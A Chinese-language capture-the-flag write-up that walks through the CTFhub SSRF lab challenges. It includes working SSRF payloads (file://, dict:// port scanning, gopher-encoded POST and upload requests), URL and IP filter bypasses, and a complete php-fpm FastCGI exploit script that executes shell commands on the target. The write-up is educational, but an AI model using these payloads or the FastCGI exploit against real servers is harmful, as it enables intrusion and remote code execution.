CTFhub--SSRF

2024-01-25 22:19:52

~目录~

开始

redis真不会…，求会的师傅评论区教教我
CTFhub--SSRF

内网访问

提示：尝试访问位于127.0.0.1的flag.php吧

直接url=127.0.0.1/flag.php
CTFhub--SSRF

伪协议读取文件

提示：尝试去读取一下Web目录下的flag.php吧

URL的伪协议有以下几种：
file:///
dict://
sftp://
ldap://
tftp://
gopher://

读取web目录下的flag.php，利用file:///

url=file:///var/www/html/flag.php
CTFhub--SSRF
源码中发现flag
CTFhub--SSRF

端口扫描

提示：来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

bp爆破，使用dict://探测开放的端口

url=dict://127.0.0.1:§1234§
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发现端口8710
CTFhub--SSRF
访问得到flag
CTFhub--SSRF

POST请求

提示：这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

先内网访问flag.php，源码中发现key值
CTFhub--SSRF
通过file协议访问index.php，查看源码
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访问flag.php文件
CTFhub--SSRF
其实没有302.php文件，以前是有的

我们知道index.php能够接受url传参（从127.0.0.1进行访问），那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包的内容包含flag.php中的key

构造的POST请求：

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36	#特别注意此处的长度，长度不对也是不行的。
Content-Type: application/x-www-form-urlencoded

key=70ae69cdd70050f12e4af483771af45f  #key就是我们从127.0.0.1访问flag.php获取的值，这里也就是flag的MD5值。

然后需要url编码三次，抓包后修改数据
CTFhub--SSRF
这题非常非常坑，感谢大佬的wp

上传文件

提示：这次需要上传一个文件到flag.php了.祝你好运

内网访问flag.php，发现是个文件上传，但是只有浏览框，没有提交框，前端修改一下
CTFhub--SSRF
CTFhub--SSRF
随便上传一个文件抓包
CTFhub--SSRF
然后对整个数据包进行三次url编码，注意Host要修改为127.0.0.1:80

然后关键的地方来了（其实是我sb的地方，耗费了我n久时间），再对页面http://challenge-d492051dce42857d.sandbox.ctfhub.com:10080/?url=_抓一次包，写入刚才的编码，前缀为GET/?url=http://127.0.0.1/index.php?url=
CTFhub--SSRF
如果一直出不来，建议多试几次，注意细节

FastCGI协议

提示：这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

首先，在kali中执行nc -lvp 9000 > 12.txt，监听9000端口，把监听内容存到12.txt
CTFhub--SSRF
然后另开一个窗口，执行python exp.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php，这时12.txt已经有了数据
CTFhub--SSRF
exp.py文件：

# exp.py
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)

使用hexdump 12.txt命令查看数据的16进制
CTFhub--SSRF
然后用16进制编辑器打开，只复制16进制内容，用如下脚本编码：

a='''
这里存放16进制内容
'''
a=a.replace('\n','')
a=a.replace(' ','')
b=''
length=len(a)
for i in range(0,length,2):
    b+='%'
    b+=a[i]
    b+=a[i+1]
print(b)

当然我们还需要再进行一次url编码
CTFhub--SSRF
前缀+gopher://127.0.0.1:9000/_+编码，执行ls，发现flag_e2a66675487ff732d4b235fc257cbc56文件
CTFhub--SSRF
于是我们再进行一次上述操作，执行cat命令，通过脚本编码一次，再编码一次

python exp.py -c "<?php var_dump(shell_exec('cat flag_e2a66675487ff732d4b235fc257cbc56'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php

成功获得flag
CTFhub--SSRF

Redis协议

提示：这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

URL Bypass

提示：请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧

构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
CTFhub--SSRF

数字IP Bypass

提示：这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

把127转为十六进制0x7f，或者直接localhost
CTFhub--SSRF

302跳转 Bypass

提示：SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

localhost即可
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或者这样
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DNS重绑定 Bypass

提示：关键词：DNS重绑定。剩下的自己来吧，也许附件中的链接能有些帮助

有一个测试DNS重绑定漏洞的网站,可以让一个域名绑定两个IP

经过一次测试就出了flag
CTFhub--SSRF

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